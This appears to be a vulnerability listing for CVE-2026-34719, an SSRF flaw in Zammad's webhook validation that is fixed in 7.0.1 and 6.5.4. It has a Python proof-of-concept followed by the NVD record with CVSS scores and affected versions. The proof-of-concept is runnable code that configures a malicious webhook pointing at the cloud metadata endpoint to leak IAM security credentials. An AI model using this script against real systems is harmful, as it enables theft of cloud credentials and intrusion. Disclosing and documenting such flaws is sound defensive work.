CVE-2026-34719

# Proof of Concept (Conceptual) # This script demonstrates how an attacker might configure a malicious webhook # to exploit the SSRF vulnerability and access cloud metadata. import requests import json TARGET_HOST = "https://vulnerable-zammad-instance.com" # Common AWS Metadata IP (Link-local address) SSRF_PAYLOAD = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Attacker's credentials AUTH_TOKEN = "Bearer <attacker_session_token>" headers = { "Authorization": AUTH_TOKEN, "Content-Type": "application/json" } # Malicious webhook configuration webhook_config = { "name": "Admin Export", "endpoint": SSRF_PAYLOAD, "method": "get", "trigger": "ticket_update" } try: response = requests.post( f"{TARGET_HOST}/api/v1/webhooks", headers=headers, data=json.dumps(webhook_config) ) if response.status_code == 201: print("[+] Malicious webhook created successfully.") print("[+] Triggering webhook (e.g., by updating a ticket) will leak metadata.") else: print(f"[-] Failed to create webhook: {response.text}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-34719", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:22.003", "lastModified": "2026-04-17T15:27:09.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.1 and 6.5.4, the webhook model was missing a proper validation for loop back addresses, or link-local addresses — only the URL scheme (HTTP/HTTPS) as well as the hostname was checked. This could end up in retrieving confidential metadata of cloud/hosting providers. The existing check is now extended and is applied when configuring webhooks as well as triggering webhook jobs. This vulnerability is fixed in 7.0.1 and 6.5.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zammad:zammad:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.4", "matchCriteriaId": "5AC4AB35-4DD1-43F8-B481-27640E70CF8A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zammad:zammad:7.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "830AF7C5-9441-4C80-935E-C53BDB097BB1"}]}]}], "references": [{"url": "https://github.com/zammad/zammad/security/advisories/GHSA-2vgc-vfh2-rw75", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}